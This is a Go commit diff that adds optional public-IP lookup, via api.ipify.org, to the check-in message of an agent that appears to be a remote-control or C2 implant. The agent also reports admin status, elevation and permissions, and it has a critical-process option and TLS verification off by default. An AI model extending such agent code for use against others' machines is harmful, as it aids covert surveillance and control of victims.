optional public IP fetching

This commit is contained in:
KingKDot
2026-05-14 19:56:50 -05:00
parent 9c78483744
commit da3bec8de1
11 changed files with 85 additions and 1 deletions
@@ -32,6 +32,7 @@ var DefaultAgentToken = ""
var DefaultBuildTag = ""
var DefaultSleepSeconds = "0"
var DefaultCriticalProcess = "false"
var DefaultFetchPublicIP = "false"
const settingsFile = "config/settings.json"
const serverIndexFile = "config/server_index.json"
@@ -72,6 +73,7 @@ type Config struct {
AgentToken string
BuildTag string
SleepSeconds int
FetchPublicIP bool
}
func Load() Config {
@@ -169,6 +171,11 @@ func Load() Config {
criticalProcess := strings.ToLower(DefaultCriticalProcess) == "true"
fetchPublicIP := isTruthy(DefaultFetchPublicIP)
if v := strings.TrimSpace(os.Getenv("OVERLORD_FETCH_PUBLIC_IP")); v != "" {
fetchPublicIP = isTruthy(v)
}
tlsInsecureSkipVerify := true
if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_TLS_INSECURE_SKIP_VERIFY"))); v != "" {
tlsInsecureSkipVerify = v == "true" || v == "1" || v == "yes"
@@ -215,6 +222,7 @@ func Load() Config {
AgentToken: agentToken,
BuildTag: strings.TrimSpace(DefaultBuildTag),
SleepSeconds: parseSleepSeconds(DefaultSleepSeconds),
FetchPublicIP: fetchPublicIP,
}
}
@@ -0,0 +1,39 @@
//go:build fetch_public_ip
package config
import (
"encoding/json"
"io"
"net"
"net/http"
"strings"
"time"
)
func FetchPublicIPAddress() string {
client := &http.Client{Timeout: 5 * time.Second}
resp, err := client.Get("https://api.ipify.org?format=json")
if err != nil {
return ""
}
defer resp.Body.Close()
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
return ""
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 256))
if err != nil {
return ""
}
var payload struct {
IP string `json:"ip"`
}
if err := json.Unmarshal(body, &payload); err != nil {
return ""
}
ip := strings.TrimSpace(payload.IP)
if net.ParseIP(ip) == nil {
return ""
}
return ip
}
@@ -0,0 +1,5 @@
//go:build !fetch_public_ip
package config
func FetchPublicIPAddress() string { return "" }
+3
View File
@@ -653,6 +653,9 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
hello.Elevation = sysinfo.Elevation()
hello.Permissions = sysinfo.DarwinPermissions()
hello.HostArch = sysinfo.HostArch()
if cfg.FetchPublicIP {
hello.PublicIP = config.FetchPublicIPAddress()
}
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
return fmt.Errorf("send hello: %w", err)
@@ -23,6 +23,7 @@ type Hello struct {
IsAdmin bool `msgpack:"isAdmin,omitempty"`
Elevation string `msgpack:"elevation,omitempty"`
Permissions map[string]bool `msgpack:"permissions,omitempty"`
PublicIP string `msgpack:"publicIP,omitempty"`
}
type EnrollmentChallenge struct {